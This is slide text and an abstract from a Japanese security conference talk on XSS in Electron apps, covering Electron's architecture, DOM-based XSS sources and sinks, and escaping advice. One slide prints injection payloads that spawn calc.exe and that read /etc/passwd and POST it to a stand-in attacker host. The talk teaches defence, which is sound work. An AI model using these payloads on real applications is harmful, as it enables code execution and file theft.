Electronは、WindowsやOS X、Linuxのデスクトップアプリケーションを簡単に作成するためのフレームワークであり、Atom EditorやVisual Studio Code、Slackといった人気アプリケーションの開発にも用いられている。ElectronはChromiumとnode.jsを内包することでWebアプリケーション開発者が慣れた手法でデスクトップアプリケーションを開発可能にしている反面、アプリケーション内にDOM-based XSSが一か所でも存在すると容易に任意コード実行が可能になるなどセキュリティ上の問題点も多数存在しており、事実、今日までに著名なElectron製アプリケーションにおいて任意コード実行が可能な脆弱性を多数発見・報告している。
本セッションでは、Electronを利用して開発する際に発生しやすいセキュリティ上の問題点を整理して理解することを目的にしている。
--- はせがわ ようすけYosuke Hasegawa
株式会社セキュアスカイ・テクノロジー常勤技術顧問。
Internet Explorer、Mozilla FirefoxをはじめWebアプリケーションに関する多数の脆弱性を発見。 Black Hat Japan 2008、韓国POC 2008、2010、OWASP AppSec APAC 2014他講演多数。
OWASP Kansai Chapter Leader / OWASP Japan Board member
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you think by はせがわようすけ
1. Build cross platform desktop XSS
It’s easier than you think
ELECTRON
Secure Sky Technology Inc.
Yosuke HASEGAWA
2. Yosuke HASEGAWA @hasegawayosuke
Secure Sky Technology Inc. Technical Advisor
OWASP Kansai Chapter Leader
OWASP Japan Chapter board member
CODE BLUE Review board member
http//utf-8.jp/ Author of jjencode, aaencode
Talked at Black Hat Japan 2008, KOREA POC 2008,
POC 2010, OWASP AppSec APAC 2014 and others.
Found many vulns of IE, Firefox and others.
Secure Sky Technology Inc. CODE BLUE 2016
3. Secure Sky Technology Inc. CODE BLUE 2016
What's Electron ?
GitHub社によって開発された、クロスプラット
フォームなデスクトップアプリケーションを開発
するためのフレームワーク
HTML+JavaScriptでアプリケーションを作成で
きる
多くのアプリケーションで使用実績
4. Secure Sky Technology Inc. CODE BLUE 2016
What's Electron ?
HTML + JavaScript = Native Apps
Microsoft HTML Application (*.hta)
Firefox OS
Apache Cordova / Adobe PhoneGap
Chrome Apps
Electron / NW.js
Electron
Cross platform
バイナリのビルドが可能
5. Secure Sky Technology Inc. CODE BLUE 2016
What's Electron ?
Node.jsとChromiumをランタイムとして内包
メインプロセス
アプリケーション全体を統括。node.jsそのもの
レンダラプロセス
Chromium+node.js
main
process
renderer
process
Electron Apps
IPC
6. Secure Sky Technology Inc. CODE BLUE 2016
What's Electron ?
main
process
renderer
process
Electron Apps
IPC
index.html
package.json
{
"name" : "Apps name",
"version" : "0.1",
"main" : "main.js"
}
main.js
let win = new BrowserWindow( {width:840,height:700} );
{json}
<html>
<head>...</head>
<body>
<script>...</script>
</body>
</html>
win.loadURL( `file://${__dirname}/index.html` );
24. Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS on Electron apps
レンダラ上でnode機能がデフォルト有効
// xss_source は攻撃者がコントロール可能な文字列
elm.innerHTML = xss_source; // XSS!
<img src=# onerror=
"require('child_process').exec('calc.exe',null);">
<img src=# onerror="
let s = require('fs').readFileSync('/etc/passwd','utf-8');
fetch( 'http://evil.utf-8.jp/', { method:'POST', body:s });
">
25. Secure Sky Technology Inc. CODE BLUE 2016
”
“
DOM-based XSS on Electron apps
任意コード実行が可能 - まるでバッファオーバーフロー
XSS: The New Buffer Overflow
In many respects, an XSS vulnerability is
just as dangerous as a buffer overflow.
多くの点から見て、XSS 脆弱性の危険性はバッファ
オーバーフローに匹敵します。
"Security Briefs: SDL Embraces The Web", Apr. 2008
http://web.archive.org/web/20080914182747/http://msdn.microsoft.com/e
n-us/magazine/cc794277.aspx
26. Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS on Electron apps
ソースをエスケープせずにシンクに与えることで
JS上で発生するXSS
ソース:攻撃者の与えた文字列
シンク:文字列からHTMLを生成したりコードとして
実行する箇所
ソース 処理 シンク
location.hash
location.href
location.search
document.referrer
window.name
xhr.responseText
postMessage
location.href
document.write
innerHTML
eval
Function
setTimeoutsetInterval
27. Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS on Electron apps
ソースをエスケープせずにシンクに与えることで
JS上で発生するXSS
ソース:攻撃者の与えた文字列
シンク:文字列からHTMLを生成したりコードとして
実行する箇所
ソース 処理 シンク
location.hash
location.href
location.search
document.referrer
window.name
xhr.responseText
postMessage
location.href
document.write
innerHTML
eval
Function
setTimeoutsetInterval
ユーザ名
データベース
ファイルの内容
ファイルの内容
ファイル名 ログの内容
webFrame.executeJavaScript
webViewrequire
28. Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS on Electron apps
従来のWebアプリでは存在しなかったソース
HTTPやWebと無関係なあらゆるデータがXSSソー
スとなり得る
シンクはそれほど増えていない
requireなどに動的な引数を与えることは通常ない
ソースを意識するのではなく、シンクへ渡す際に
エスケープすることが重要
適切なDOM操作(textContent、setAttribute等)